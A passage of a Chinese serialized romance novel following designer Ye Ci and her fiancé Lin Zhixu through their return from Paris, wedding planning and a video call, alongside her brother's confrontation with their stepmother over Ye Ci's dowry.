蔺之序知道她指的是自己刚才为她穿过鞋,笑了下,他伸手接过。 侍者递上平板,轻声询问是否需要先来点饮品。蔺之序用法语和对方交流,他点了两杯咖啡。 侍者离开后,蔺之序看她,“彭老师很为你高兴。” 说这话时,他深沉的眸子里带着肯定,还有一种独属于她的欣赏。 “Vogue Runway的标题,实至名归。” 叶瓷端起侍者刚送上的咖啡杯,浓郁的咖啡香气氤氲而上,模糊了她眼前一瞬。 “媒体总是喜欢过度解读,”她抿了一口,又笑道,“不过,能打动彭老师,确实不容易。” 蔺之序笑,“打动她的,是你的实力,还有你付出的所有。” 叶瓷迎着他的目光,眸色透亮。 数秒,她也笑了下,他只是陈述着关于她专业成就的事实,语气沉稳,却比任何刻意的甜言蜜语都更有力量。 侍者上前询问点单。 蔺之序做了个请的手势,示意叶瓷先选。 她浏览着菜单,报出几样。 蔺之序补充了自己的选择,并向侍者确认了关于食材的新鲜度和烹饪方式。 点餐完毕。 叶瓷说:“回国后,我的工作量会适当减少,去沪城订礼服的时间就由你安排吧,我随时都可以。” 蔺之序笑,“好。” 说完,他牵起她放在桌面上的手,“回国后好好休息,婚事方面,你通通都不要费心,由我来张罗。” 叶瓷眼睛含笑:“好呀。” 蔺之序做事稳妥,细心周到,结婚这样的大事,他说由他来张罗,那就一定会准备的很周全。 —— 跨越大洋的私人湾流G650,如同一枚银梭,无声地划破平流层稀薄冰冷的空气。 舷窗外,靛蓝天幕与云海被夕阳染成一片熔金与玫瑰紫,光线透过舷窗,在机舱内拉出长长的温暖光带。 叶瓷躺在宽大柔软的白色真皮座椅里,身上搭着一条羊绒薄毯。 从巴黎秀场紧绷的神经,到连续数日高强度工作的透支,以及此刻长途飞行的疲惫,终于在这极致私密与安稳的空间里彻底释放。 她几乎是在飞机平飞后不久,就陷入了深沉的睡眠。 念一和溦溦早已各自戴上了降噪耳机,沉浸在自己的世界里。 宽敞的客舱后半部,只剩下蔺之序和沉睡的叶瓷。 蔺之序处理完几封紧急邮件,侧目看向身侧的人,她睡得很沉,身体在无意识中微微向他这边倾斜。 没有犹豫,他伸出手臂揽过她的肩头,动作轻柔得如同承接一片羽毛。 叶瓷在睡梦中似乎感知到了这股沉稳的支撑力,身体顺从地滑落,额头轻轻抵在了他宽阔坚实的肩窝处。 蔺之序的喉结动了动,随即,他侧过脸,唇轻轻贴了贴她光洁微凉的额头。 一个无声的又充满怜惜的印记。 同时,他宽大的手掌向下探去,在毯子下精准地找到了她微蜷的手,然后稳稳地包裹住。 她的手有些凉,蔺之序便用指腹在她细腻的手背上,缓慢轻柔地抚了几下,试图传递自己的体温。 叶瓷在梦中发出一声几不可闻的呓语,眉头舒展得更开,仿佛在无垠云海之上,终于寻到了最安心的锚点。 飞机降落在京北国际机场的私人停机坪时,已是华灯初上。 地面微凉的夜风带着熟悉的湿润气息涌入打开的舱门,驱散了机舱内恒温的暖意。 念一和溦溦道别后,被各自的司机接走。 低调的黑色劳斯莱斯幻影内,季叔和蔺之序打招呼,“少爷。” 蔺之序点了下头,这时,季叔的声音又响起,“少奶奶好。” 叶瓷刚刚醒来,意识还没完全回笼,半天,才反应过来,“季叔好。” 季叔笑着看了眼后视镜,几天不见,他感觉后排的两个人感情好像更亲密了。 尤其是刚下飞机时,两人自然地拉着手,跟当初订婚时的陌生状态,完全不一样。 车子驶向叶宅的方向。 叶瓷揉了揉眉心,驱散最后一点睡意。 她感受到手心里依旧包裹着的温热,接着,她微微侧过脸,看向身旁的男人。 大概觉察到被注视,蔺之序握着她的手又紧了紧,拇指指腹在她手背上安抚性地按了一下。 四十分钟后。 车子驶入叶家的私人林荫道,然后在门廊前停稳。 感应灯自动亮起,柔和光线洒下。 季叔下车开了门。 叶瓷直起身,蔺之序也随之松开手。 那骤然失去的温热包裹感,让叶瓷指尖微蜷,心底划过一丝微妙的空落。 她刚迈步下车,便看到和叔已经迎候在旁。 “小姐,蔺总。”和叔微微躬身,声音恭敬温和。 这时,蔺之序也下了车,对和叔颔首致意。 季叔已经动作利落地打开后备箱,开始搬运行李。 叶瓷这才注意到,除了她自己的行李箱,还有数个印着顶级奢牌LOGO的,尺寸惊人的礼盒和购物袋。 此刻,这些包装低调的礼物在门廊灯光下,无声地彰显着价值与份量。 叶瓷微怔,目光转向蔺之序,“这些都是……你买的?” 在巴黎期间,她专注工作,完全不知情。 蔺之序看她,笑道,“觉得适合你,所以就买了。” 他的语气如同谈论天气,仿佛那些动辄六位数甚至七位数的物件,只是路边顺手摘下的花。 行李很快被搬进去。 季叔站在一旁,适时地补充道:“少爷,您今晚在‘云顶’的应酬,时间定在八点半。” 蔺之序“嗯”了一声,目光重新落回叶瓷脸上,“早点休息。” “嗯。”叶瓷点头,“你也别太晚。” 蔺之序笑,“好。” 说完他转身坐回车内。 车门轻缓地关上,隔绝了视线。 叶瓷站在原地,看着那辆线条流畅的黑色幻影无声地滑入夜色,尾灯在幽暗的林荫道上划出两道红色的光弧,渐行渐远,最终消失在拐角。 和叔告诉叶瓷,“小姐,少爷今晚有应酬。” 叶瓷收回目光,点了点头,“知道了。” 三楼的主卧衣帽间,是叶瓷亲自设计的极简空间。 浅灰色的绒面墙壁,顶天立地的浅胡桃木柜体,内嵌着感应灯带。 此刻,这方静谧的空间被打破,她的行李箱靠墙立着,而中央宽敞的岛台上,则堆满了那些来自巴黎的“礼物”。 空气里弥漫着顶级皮革,纸张和丝缎混合的,独特而昂贵的崭新气息。 叶瓷走到岛台前,先打开一个巨大的Hermès橙色盒子,里面静静躺着一只限量版Birkin,接着是Chanel的礼盒,还有Brunello Cucinelli的羊绒披肩、Gentle Monster的限量版墨镜、Hermès的丝巾…… 每一样都精准地踩在她的审美上。 拆礼物的过程持续了很久。 她将衣物一件件挂进衣柜,包包放入专属的玻璃柜,饰品归入丝绒托盘。 偌大的衣帽间,因为这些新成员的加入,似乎多了一份属于另一个人的存在感。 叶瓷觉得这种感觉很奇妙。 洗漱完毕,换上舒适的丝质睡袍,叶瓷靠坐在床上。 房间里很安静,加湿器喷出的细密水雾在空间里袅袅。 她拿起手机,点开了置顶的名字:蔺之序。 叶瓷:【睡了吗?】 消息发送成功,绿色的气泡悬浮在对话框里。 时间显示:22:47。 她等了一会儿,屏幕始终是她的那条孤零零的消息。 疲惫感再次袭来,眼皮有些沉重。 她强撑着,又等了几分钟,手指在屏幕上轻敲。 叶瓷:【你送的礼物,我都很喜欢,现在我要睡了,晚安。】 发送完毕,她将手机放在枕边,关掉了床头灯。 凌晨一点三十七分。 床头柜上,漆黑的屏幕倏然亮起,冷白的光线刺破了卧室的黑暗,在墙壁上投下一小片晃动的光影。 数条新消息接连跳出: 【刚回公司处理了点儿事情。】 【不好意思,没看到消息。】 【接下来的一段时间,要出国谈生意,五点就出发。】 【我们电话或者微信联系。】 屏幕的光亮持续了几十秒,然后,又无声地暗了下去。 翌日,叶瓷醒来时,天已经大亮。 她习惯性地伸手摸向枕边的手机。 屏幕解锁,她看到了蔺之序凌晨发来的消息。 她逐字逐句地看完,她知道,此时,他已经在飞往纽约的私人飞机上了。 她静静地坐了会儿,手指在回复框里敲下几个字,又删掉。 最终,只回了一个简洁的:【好】 发送,时间是上午九点零五分。 大洋彼岸,纽约。 入住顶奢酒店顶层的总统套房时,正是当地时间的黄昏。 巨大的落地窗外,是曼哈顿令人窒息的天际线,钢筋森林在夕阳下被镀上一层辉煌金边。 房间内是极致的现代奢华,线条冷硬,色调以高级灰和米白为主,巨大的抽象艺术画是唯一的点缀。 蔺之序扯松领带,将西装外套随意搭在沙发上。 他刚结束一场长达数小时的,火药味十足的谈判,眉宇间带着一丝显而易见的疲惫。 手机震动,是汤静娴发来的消息。 他点开,几个PDF文件链接,标题分别是:《Vera Wang Bridal 顶级定制婚纱摄影方案》、《Preston Bailey Events 梦幻婚礼策划提案初稿》、《Harpers Bazaar Brides 封面级婚礼跟拍团队推荐》 汤静娴:【你和叶瓷商量一下,看看喜欢哪种风格。】 【婚礼是大事,最重要的是你们俩喜欢,尊重叶瓷的想法。】 蔺之序指尖滑动屏幕,点开其中一个PDF,快速浏览了几页。 华美的婚纱,奢靡的布景,精心设计的桥段,画面精美绝伦,却透着一股公式化的距离感。 他退出,将手机丢在沙发上。 走进浴室,水流声哗哗作响,冲淡了室内的寂静。 洗漱完毕,他走到书桌前,打开笔记本电脑,处理了几封紧急邮件后,目光不由自主地再次落在一旁静默的手机上。 他拿起手机,屏幕亮起,显示着微信界面。 与叶瓷的聊天记录,停留在她早上九点零五分发来的那个孤零零的【好】 再无其他。 他点开输入框,指尖悬停。 问她在做什么?问她是否还在休息?似乎都显得多余。 这时,他想起汤静娴发来的那些PDF文件链接。 没有犹豫,他长按汤静娴发来的那几个文件,指尖在屏幕上划过,点到置顶的名字,选择了转发。 蔺之序:【有时间了,你选一下。】 【你喜欢哪个,我们就拍哪个。】 【如果都不喜欢,我们再换其他的。】 第35章 第35章 炽热疯狂 叶宅的清晨, 像一幅精心调过色的静物画。 餐厅空旷宁静。 长逾三米的意大利定制胡桃木餐桌,此刻只在尽头摆放着一套餐具。 叶北庭早已去了公司,偌大的空间里, 只剩下叶瓷一人。 她穿着柔软的茱萸粉真丝吊带睡裙, 外搭了件同色系针织开衫, 素面朝天,长发随意拢在肩后。 面前的餐盘里, 是秦姨精心搭配的早餐:溏心蛋、烟熏三文鱼、一小份清爽的时蔬沙拉,还有一杯牛奶燕窝粥。 叶瓷正用银匙搅动燕窝粥, 秦姨端着刚烤好的杏仁可颂出了厨房。 远远地, 她安静用餐的身影让秦姨恍惚了一瞬。 上一次在这个时间点看见小姐坐在餐桌前,好像还是她刚留学回来那会儿。 “小瓷接下来要休息一阵吧?”秦姨将可颂轻轻放在她手边。 叶瓷笑, “嗯, 时装周刚结束, 工作室暂时没什么要紧的事。” 秦姨也笑,“那就好好休息, 中午想吃什么?秦姨给你做。” 叶瓷想了想,不过一时还真想不起来,“随便做就行。” “好。” 正用着餐, 叶瓷点开了工作室杜总监的会话框:【杜总,秋季系列的样衣进度怎么样了?】 消息刚发出, 杜总监的回复立刻跳了出来。 【叶总放心, 样衣间已经按您的要求调整了三版,意大利送来的面料今早刚到。】 叶瓷:【好的。】 放回手机,她拿起银叉,继续切割盘子里的蛋白。 用餐快结束时,她收到了蔺之序发来的消息。点开, 是几份PDF文件,以及他简短的留言。 【有时间了,你选一下。】 【你喜欢哪个,我们就拍哪个。】 【如果都不喜欢,我们再换其他的。】 工作室今天确实没有非她不可的紧急事务,时装周结束后,助理已经把日程安排得很轻松。 时间充裕。 叶瓷端起咖啡杯,走到客厅临窗的软榻上坐下。 点开第一个PDF文件,文件很大,加载了好几秒,内容是一家顶级婚纱摄影工作室的拍摄方案。 画面精美绝伦,每一帧都如同时尚大片:古堡庄园的恢弘暮色,悬崖海岸的惊心动魄,极简棚拍的艺术张力…… 模特身上的婚纱在镜头下美得不似凡物。 叶瓷的目光快速扫过,带着职业设计师特有的冷静审视。 她放大细节图,指尖在屏幕上滑动,观察着蕾丝的花纹密度,钉珠的排列方式以及纱质的垂坠感。 她在评估工艺,也在挑剔设计。 接着是婚礼策划公司提案,最后是婚礼跟拍团队的推荐。 半个多小时后,叶瓷放下手机,端起微凉的咖啡喝了一口。 每个方案都很美,但又都像是隔着玻璃罩观看的展览品,缺乏一种真实的感觉。 她点开与蔺之序的对话框,在屏幕上轻敲:【等你回国后,我们再一起商量。】 发送。 几乎是立刻。 蔺之序:【好。】 叶瓷看着那个“好”字,也许是因为刚才看那些婚纱照片时,触动了心底某个角落。 她突然有一种分享的冲动,几年前的毕设作品集里,有一个主打的系列就是婚裙。 想到这里,她手指轻点,拨了视频通话请求。 对面很快接通。 屏幕亮起,纽约顶级酒店总统套房的背景。 巨大的落地窗外,是暮色中的曼哈顿天际线,摩天大楼的轮廓带着一种冰冷的现代感。 镜头晃动了一下,蔺之序调整了角度,然后画面稳定下来,聚焦在他脸上。 叶瓷的呼吸微微一凝。 蔺之序显然刚沐浴完毕,黑发尚未完全吹干,几缕随意地搭在额前,发梢还凝着细小的水珠,在屏幕光线下折出细碎光点。 他穿着一件深色的丝质睡袍,领口随意地敞着,露出一小片紧实,带着健康光泽的胸膛。 没有了平日里西装革履的严谨束缚,此刻的蔺之序,周身散发着一种慵懒而强大的男性气息。 “叶瓷。” 他的声音透过听筒传来,比平时更低哑几分。 叶瓷微定定神,“工作还顺利吧?” 蔺之序笑了下,“有点儿棘手,不过还好。” 说完,他转开话题,“吃过早饭了吗?” 镜头里,他看到叶瓷的咖啡杯正摆在茶几一角。 叶瓷点头,“刚吃过了,你现在忙吗?” 蔺之序:“不忙。” 叶瓷笑,“我想跟你分享一下我的一个作品集。” 蔺之序笑声传来,“好。” 叶瓷声音雀跃,“等一下,我现在去书房拿。” 镜头晃动,随着她起身的动作,从宽敞明亮的客厅掠过旋转楼梯,最后定格在三楼书房。 很快,叶瓷找出了那本作品集,然后对着镜头打开。 那是一本婚裙系列设计图,蔺之序问她,“这是什么时候画的?” 叶瓷笑着告诉他,“这是我的毕设作品。” 蔺之序嗯了声。 讲着专业的事情,叶瓷的声音恢复了惯常的清冷。 她跟他分享了当初的创作理念和灵感来源。 蔺之序安静地听着,偶尔在她停顿的间隙,给出外行的提问。 直到她分享完毕,他才缓缓开口:“叶瓷,我们的婚姻,会如你所想的那样。” 他顿了一下,目光穿透屏幕,直直地望进她的眼底,“甚至更好。” 甚至更好。 叶瓷默声重复着这四个字,感觉从他嘴里说出来,比任何华丽的承诺都更有分量。 叶瓷原以为他是外行,对这些设计图兴致不高,会感觉很枯燥,没想到,他都听进去了。 当初设计这些婚裙时,每一个线条里都有她对美好爱情的憧憬。 看着镜头里的蔺之序,叶瓷忽然有种憧憬成真的喜悦。 “叶瓷,”蔺之序再次开口,“让我看看你。” 叶瓷一怔,从接通到现在,她手里的镜头一直都没有正面照过自己。 现在听他这样说,她下意识地先将手机拿远了一些,镜头随之转换。 蔺之序的视线,透过小小的手机屏幕,如同实质般落在她的脸上。 视线下移,茱萸粉色睡裙的吊带很细,其中一根已经悄然滑落肩头,半掩半藏在同色系开衫里。 蔺之序的喉结难掩干燥地刮了一下。 有敲门声闷闷响起。 他起身去开门,叶瓷听到背景音里有人喊了声:“蔺总。” 接着,“对方公司把修改后的方案发过来了。” 叶瓷知道他要忙工作,于是说,“我们有空再聊。” 潘岩没料到蔺总正在视频通话,清清软软的声音传来,他拿着平板的手停了一下。 好在,视频及时中断。 潘岩不动声色,切回工作状态,“提出的条件很苛刻,比我们预想的底线还要低十五个百分点。另外,他们在技术专利归属上设置了新障碍,看来是想逼我们让步。” 蔺之序接过纸质文件,快速浏览。 潘岩继续道,“对方似乎认为我们急于达成交易,所以,有意拖延试探。” 说着,他递上平板,上面是复杂的财务模型和条款对比。 蔺之序身体向后靠进宽大的座椅里,手指无意识地在光滑的桌面上点了点,良久,他说,“明天一早,放出风声,我们对另一家同类技术公司也表示出浓厚兴趣。” “至于专利障碍,”他用笔在某一项条款上重重一划,“让法务和技术团队连夜出一份报告,重点分析如果他们失去我们的渠道支持和后续开发投入,这些专利在未来三年内的贬值速度。” 蔺之序:“记住,把数据做得漂亮点,直接发给对方首席谈判官。” 潘岩眼神一亮,立刻记下:“明白!我立刻去办。” 房门从外面轻轻合拢,一室寂静。 时间已过凌晨,蔺之序看了会儿数据报表,然后起身回卧室。 自动窗帘缓缓合上,房间只留了一盏睡眠灯,光线昏蒙。 睡意朦胧间,界限开始变得模糊。 那抹茱萸粉不再只是隔着屏幕,而是真切地贴近,丝绸料子滑腻冰凉,又很快被彼此的体温煨暖。 动作间,细细的带子终于不堪一折,剥落下来,继而缠绕在他的指间。 旎念冲破防线,茱萸粉薄料下的柔软弧度漫在他长指间。 在混沌光影中,触感被无限放大,呼吸交织,炽热汹涌,一种最原始的粘稠渴求在黑暗中疯狂蔓延,勾缠着他的每一根神经。 …… 蔺之序猛地睁开眼。 昏暗中,他胸膛微微起伏,呼吸有些重。 额际和后背也已经沁出一层薄汗,睡衣贴附在皮肤上,带来不适的潮意。 没想到,他的自制力在她面前,竟变得如此不堪一击。 在床上静静躺了片刻,待那阵燥热和悸动稍稍平息,才掀被起身,走向浴室。 蔺之序没有开大灯,只有镜前灯带散发出微弱光晕,勾勒出他挺拔却依旧紧绷的轮廓。 他站在盥洗台前,用冷水反复扑了脸,水珠顺着下颌线滴落。 抬起头,镜中的男人眼神深暗,里面仍翻滚着尚未完全消退的波澜。 片刻后,他转身打开了淋浴。 水声淅沥,掩盖了所有声响,也冲散了空气中那点残余的暧昧温度—— 作者有话说:今日双更[红心] 第36章 第36章 波动 和蔺之序视频通话结束, 叶瓷在书房又画了会儿设计图。 十点钟时,她回卧室换衣服。 紧绷了很多天的神经突然松懈下来,她一时还有些不适应。 换好衣服, 时间尚早, 加上闲来无事, 她决定去公司找叶北庭。 — 叶氏集团会议室。 叶北庭刚结束例行会议。 “叶总,这份清单已经整理好了。”秘书走进来, 将一份文件夹放在会议桌上。 叶北庭翻开,仔细查看着每一项内容。 “东郊的别墅, 市中心的三套高级公寓, 叶氏集团5%的股份……”他轻声念着,停了下, “再加上海外那家子公司的股权。” 秘书惊讶抬头, 那家子公司市值近十亿。 早就听闻叶总疼妹妹, 果然,嫁妆都是大手笔。 “好。” 秘书点头记下, 正要退出会议室,外面突然传来一阵骚动。 “段女士,您不能进去, 叶总正在开会。”前台小姐惊慌的声音由远及近。 段敏佳:“这公司有我丈夫的份,凭什么不让我进?” 会议室的宁静被刺破。 叶北庭的表情冷了一瞬, 但很快又恢复如常, 他整理了一下西装袖口,对秘书说:“让保安退下吧。” 话音刚落,会议室的门被推开。 段敏佳踩着高跟鞋闯了进来。 她今天穿了一身香奈儿的套装,脖子上戴着珍珠项链,手腕上几个卡地亚手镯叮当作响。 这身打扮本应彰显贵妇气质, 却因为过分堆砌而显得俗不可耐。 “叶北庭,你眼里还有没有我这个母亲?” 叶北庭没有立即回应,而是先对秘书使了个眼色。 秘书识趣地退出并关上门后,他才缓缓开口:“段姨,有事?” 声音不冷不热,却让段敏佳不自觉地缩了缩脖子。 尤其那声沉冷的“段姨”,清晰刺耳地提醒着她,他有自己的母亲。 段敏佳:“我今天想要你给我一个解释。” 叶北庭走到会议桌前坐下:“段姨,有什么事不能回家说,非要到公司来闹?” 段敏佳强撑姿态,“我听说你给叶瓷准备了价值十亿的嫁妆,是不是真的?” 叶北庭慢条斯理地端起茶杯,轻抿一口:“怎么了?有什么问题吗?” “你你眼里还有没有你弟弟妹妹?阿湛和溦溦也是你父亲的骨肉,凭什么叶瓷能拿这么多,他们什么都没有?” 茶杯与杯托相碰,叶北庭抬眸,“段姨,您今天是以什么身份来质问我?” “我……” 段敏佳一时语塞。 她曾是叶绍山的高级护工,靠着精心照料和处心积虑才爬上叶夫人的位置。 此刻被这么一问,骨子里的自卑又冒了出来,但她很快挺直腰板:“我是你父亲的合法妻子,叶湛和叶溦的母亲。” 叶北庭的眼神冷了几分,“这里是公司,不是菜市场,有什么事,回家说。” “公司怎么了?公司也是叶家的!你父亲去世才三年,你就这么欺负我们母子?我告诉你,这事没完!我要找律师,我要——” 叶北庭突然站起身。 段敏佳被这气势震住,张着嘴说不出话来。 叶北庭手指在桌面上轻叩两下,落地有声,“父亲去世前立过遗嘱,叶氏集团由我全权掌管。至于家族资产分配问题,”他顿了顿,“我自有安排。” 段敏佳被他的眼神看得心里发虚,但一想到那些天文数字的嫁妆,又忍不住红了眼:“什么安排?你就是偏心,叶瓷是你亲妹妹,阿湛和溦溦就不是你弟弟妹妹了?” 叶北庭没接话,他走到一旁的保险柜前,一米八八的身高带来无形的压迫感。 他输入密码,取出一份文件,放在段敏佳面前。 “这是什么?”段敏佳警惕地问。 叶北庭:“自己看。” 段敏佳狐疑地翻开。 一份信托基金协议,受益人是叶湛和叶溦,基金金额高达三亿,还有几处房产和部分公司股份。 “这……这是什么时候的事?”段敏佳的声音突然弱了下来。 叶北庭:“三年前,父亲去世后不久,我设立了这笔基金,等阿湛满二十五岁,溦溦结婚时就可以动用。” “另外,他们在大学期间的所有费用都由家族基金承担,包括留学,生活费,甚至是创业资金。” 段敏佳:“那,那你为什么不告诉我?” 叶北庭:“因为去年我发现你挪用阿湛的教育基金去投资你弟弟的餐厅。九十万,对吧?” 段敏佳如遭雷击,整个人僵在原地。 那是她最大的秘密,她弟弟做生意亏空,她偷偷挪用了儿子的教育基金填补。 她以为神不知鬼不觉,没想到叶北庭竟然知道。 叶北庭:“从那以后,关于阿湛和溦溦的任何财务安排,我都没有再通知你。” 段敏佳的脸色变了。 叶北庭接着道,“作为叶氏集团的掌舵人,我有责任确保每一分家族资产都用在正确的地方。” “段姨,父亲在世时待你不薄,阿湛和溦溦也是我的弟弟妹妹,我从未亏待过他们。” 段敏佳的气势已经完全萎靡下来,但她仍不甘心:“那叶瓷的嫁妆也太丰厚了。” 叶北庭:“叶瓷是叶家长女,嫁给盛域集团的继承人,嫁妆代表的是叶家给她的底气。你什么都不要说了,这件事到此为止。” 段敏佳:“她只是一个女孩子呀,嫁出去的女儿泼出去的水,为什么拿那么多?阿湛才是叶家的儿子。” “够了!” 叶北庭猛地拍桌,“段敏佳,我念在你是父亲遗孀的份上,一直对你礼遇有加。但如果你再这样无理取闹,别怪我不讲情面。” “你要知道,叶氏集团现在由我全权掌管,这是父亲的遗嘱明确规定的。” “第二,阿湛和溦溦的权益我已经安排妥当,不需要你指手画脚。” “第三,如果你再敢说一句不恰当的话,我会立刻取消你所有的生活费,并禁止你踏入叶氏集团半步。明白了吗?” 段敏佳被震慑得跌坐在椅子上。 对面,叶北庭转身按下内线电话:“保安,送段女士下楼。” 会议室重新恢复安静后,叶北庭长舒一口气,松了松领带。 叶氏集团总部坐落在CBD最核心的地段。 整栋大厦采用全玻璃幕墙设计,冷色调透着一股不近人情的精英感。 叶瓷推开旋转门,前台接待见到她,立刻站起身,“叶小姐。” 叶瓷微微点头。 刚好,不远处的电梯打开,有人走出,叶瓷无意间一暼,就看见了段敏佳。 她正和财务部的某位高管低声交谈,脸上挂着得体的微笑,直到——她的视线猝不及防地对上了叶瓷。 段敏佳的笑容僵了一秒。 叶瓷站在那里,没有刻意摆出什么姿态,可偏偏就是让人无法忽视。 她今天只穿了件简单的白色羊绒衫,搭配一条剪裁极佳的裙子,长发松松挽起。 没有多余的珠宝,没有夸张的妆容,可偏偏就是透着一股衿贵的松弛感,仿佛她生来就该被这样对待。 不必刻意彰显,旁人自然知道她的份量。 段敏佳的指甲不自觉地掐进了掌心。 她永远记得第一次见到叶瓷时的场景。 那时候,她刚嫁给叶绍山不久,仗着自己年轻貌美,又得了叶绍山的宠爱,便真以为自己能在这个家里站稳脚跟。 直到那年回叶家祖籍祭祖,她为了在亲戚面前立威,故意在众人面前挑叶瓷的错处,甚至抬手推搡她。 她记得自己当时厉声呵斥,心里却隐隐有种扭曲的快|感:看啊,叶家的大小姐,不也得在她面前低头? 可下一秒,她的手腕就被人狠狠攥住。 叶北庭不知何时站在了她身后,眼神冷得像冰。 他一句话都没说,只是居高临下地看着她,手指一点点收紧,直到她疼得脸色发白,不得不松开叶瓷。 “再碰她一下,试试看。” 他的声音不高,却让在场所有人都屏住了呼吸。 那是段敏佳第一次真正意识到,在这个家里,她永远只是个外人。 “叶小姐。”财务部的高管率先反应过来,朝叶瓷点头致意,打断了段敏佳的回忆。 段敏佳迅速调整表情,扯出一个笑:“小瓷,怎么突然来公司了?” 叶瓷看她,笑道,“来找哥哥。” 叶瓷没有继续交谈的打算,然后,对那位高管和段敏佳微微颔首,接着径直走向电梯。 段敏佳站在原地,脸上的笑容一点点冷了下来。 她盯着叶瓷的背影,明明她才是叶绍山明媒正娶的太太,可在这个家里,她永远像个局外人。 叶北庭护着叶瓷,叶家的老佣人敬着叶瓷,就连那些商业合作伙伴,提到叶家时,第一个想到的也是叶瓷。 …… 叶瓷推开叶北庭办公室的门时,他正在对着电脑办公。 抬头看见是她,“怎么突然过来了?”他停止手头的工作。 叶瓷笑着环顾了一圈,好长时间没来过公司了,“没什么事,来看看哥哥呀。” 叶北庭笑笑,在她对面坐下。 两人聊了几句时装周的事,叶瓷问他,“段姨来公司干什么?” 叶北庭知道,两人刚在楼下碰过面了,看叶瓷的反应,段敏佳应该没和她说什么。 “还是阿湛的工作吗?”叶瓷问。 叶北庭笑了下,“都是些乱七八糟的事情,我们不聊她了。” 叶瓷也没再多问,站起来去磨咖啡了。 叶北庭看着她的背影,想起段敏佳当初仗着父亲的宠爱,虽然不敢和自己作对,但那时候叶瓷年龄还小,她没有明目张胆地做什么,但言语上对叶瓷的打压,冷暴力却没停过。 “你今天怎么穿黑色?女孩子家家的,真晦气。” “你画的这些设计稿有什么用?叶家又不缺你这点钱。” “你哥哥和阿湛都是男孩子,以后是要继承家业的,他们一人一半,你一个女孩子,早晚要嫁人的。” 因为叶瓷年龄小,对段敏佳的话似懂非懂,直到有一次她无意间跟叶北庭提起,叶北庭才知道。 叶北庭:“她什么时候开始和你说这些的?” 小叶瓷摇摇头,“我不知道。” 叶北庭:“你为什么不告诉爸爸和我?” 小叶瓷:“我好久没见过爸爸了。” 叶北庭气急:“为什么不告诉我?” 小叶瓷:“段姨说,不要告诉哥哥,说哥哥和阿湛都是男孩,将来要继承家业的,钱都是你们两个的,如果我惹哥哥生气了,叶家就不再养我了。” 叶北庭强压怒火,“还有什么?都告诉哥哥。” 小叶瓷:“还说,妈妈就是因为我是女孩儿所以才不喜欢我,就不要我了,哥哥,你说是不是这样的?” 叶北庭:“她还说什么了?” 小叶瓷认真地想了想:“说女孩是赔钱货,我就是咱们家的赔钱货。” 叶北庭听完叶瓷的话,当场就摔了茶几上的东西,他拉着叶瓷到公司找到父亲,和父亲大吵一架。 那之后,段敏佳就乖乖地住在叶绍山给她另置办的别墅里,和这边也极少往来。 “哥?” 叶瓷的声音将他拉回现实。 叶北庭抬眸,见她正看着自己,他笑了笑,起身走到办公桌旁,从抽屉里取出一个文件夹。 他递给她,“你要结婚了,这是作为叶家的一员,你应得的。” 叶瓷打开。 片刻,叶北庭又从保险柜里拿出一个盒子,“这是作为哥哥的一点心意,是以我个人的名义给你的,与公司无关。” 叶瓷已经看过文件夹里的内容,打开盒子,她看到三张黑卡,一把钥匙还有一卷文件。 叶北庭跟她解释:“这是瑞士银行的联名户头,随时可以支取。” “浅水湾的临海别墅,产权已经转到你名下。这个是苏杭交界处百亩茶园的产权。” 叶瓷抬眸看他,“哥哥,在巴黎时,妈妈已经给我很多了,你的这份,我就不要了,何况我自己的钱足够我花了。” 叶北庭伸手揉了揉她的发顶,像小时候一样。 他声音很轻,却字字清晰,“给你的就不会再变,我是哥哥,为什么要跟哥哥客气呢?” 叶瓷抬眸看他,眼底闪过一丝波动,但很快又归于平静。 她合上盒子,唇角微微扬起:“谢谢哥哥。” 两人又聊了会儿,叶北庭问她:“接下来是不是该拍婚纱照了?” 突然来到结婚话题,叶瓷笑了下,“对,不过要等蔺之序出差回来,我们再商量一下。” 叶北庭点点头,“好。” 他想起昨晚应酬回到家,管家和叔告诉他,蔺总又给小姐买了好多礼物,搬到客厅像堆小山似的。 在商场上杀伐果断的男人,竟会记得这些琐碎小事。 叶北庭悬着的心又落了几分。 第37章 第37章 吻 京北的深秋, 带着一种清冽的干燥感。 清早六点半,闹钟划破室内的沉寂,像一把小锤子敲在叶瓷混沌的神经上。 她蹙着眉, 手从暖绒被子里探出, 带着宿夜的微凉, 精准地按掉了聒噪的源头。 房间里重归安静,只剩下她自己略显沉重的呼吸声。 昨夜几乎熬了个通宵。 一位重要客户的定制礼服设计稿, 在最终确认前突然提出了几处结构性的修改意见,要求既保留原有的艺术性, 又要增强实穿性。 叶瓷伏案到凌晨三点。 此刻, 强烈的疲惫感还在,她勉强支撑着坐起, 丝绸睡裙的肩带滑落至臂弯, 露出瘦削的肩线和一片细腻肌肤。 走向浴室, 冷水扑在脸上,带来短暂清醒。 她简单洗漱, 用毛巾拭去脸上的水珠,看着镜子里那个眼神有些放空的自己。 几秒后,她近乎放纵地, 重新回到了床上。 窗外的城市开始喧嚣,而她很快又沉入睡眠。 蔺之序是昨天深夜抵达京北的。 十几个小时的越洋飞行加上时差, 并未在他身上留下太多痕迹。 翌日清晨, 他依旧雷打不动地晨跑,处理邮件,然后去公司主持了两个重要的会议。 会议结束时,已是上午十点半。 特助递上行程表,下午的日程排得密密麻麻。 他目光扫过, 却在某个间隙停顿了一下,“下午一点半之后的行程,全部延后两小时。” “是,蔺总。” 潘岩没有任何疑问,迅速记录。 黑色劳斯莱斯库里南平稳地驶出地下车库,汇入京北午前略显拥堵的车流。 半个小时后,车子驶入熟悉的林荫道,最终停在庭院深处。 和叔早已等候在门口,见到他,礼貌地颔首:“蔺先生。” 蔺之序:“叶瓷在家吗?” 他来的路上给她打电话,没人接,他原想去工作室找她,后来转念一想,还是先来家里看看。 “小姐还在休息,昨夜工作到很晚。”和叔说。 蔺之序心头一松,她在家。 于是脚步放轻,径直上了三楼。 之前有一次来送她,两人直接乘电梯上的楼。这次,他是从客厅走的旋转楼梯。 他对叶宅并不陌生,更记得之前视频通话时,她举着手机从客厅到楼梯,最后停在书房门口的画面。 凭借那短暂的镜头扫视和强大的空间记忆力,他精准地找到了她的房间。 房门虚掩着。 他轻轻推开,几乎没有发出任何声响。 室内光线昏暗,只有窗帘缝隙透入的几缕阳光,在地板上投下狭长的光带。 空气里是睡眠特有的温暖气息。 他的目光第一时间锁定了床上隆起的身影。 叶瓷侧卧着,半张脸陷在蓬松的枕头里,乌黑长发如海藻铺散,遮住了她的半边脸颊。 呼吸均匀绵长,毫无防备的睡颜,褪去了平日的清冷疏离,显出一种稚拙的柔软。 蔺之序静静站了片刻,没有喊醒她。 接着,他放轻脚步走到靠窗的书桌前。 